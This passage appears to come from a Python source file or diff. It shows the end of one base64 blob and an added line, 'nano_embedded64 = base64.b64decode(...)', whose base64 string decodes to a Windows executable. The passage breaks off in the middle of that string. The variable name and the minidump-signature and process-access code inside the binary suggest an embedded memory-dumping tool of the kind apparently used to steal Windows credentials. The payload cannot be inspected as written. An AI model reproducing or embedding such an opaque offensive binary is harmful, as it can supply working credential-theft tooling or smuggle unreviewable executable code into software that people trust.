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") + self.nano_embedded64 = base64.b64decode( + "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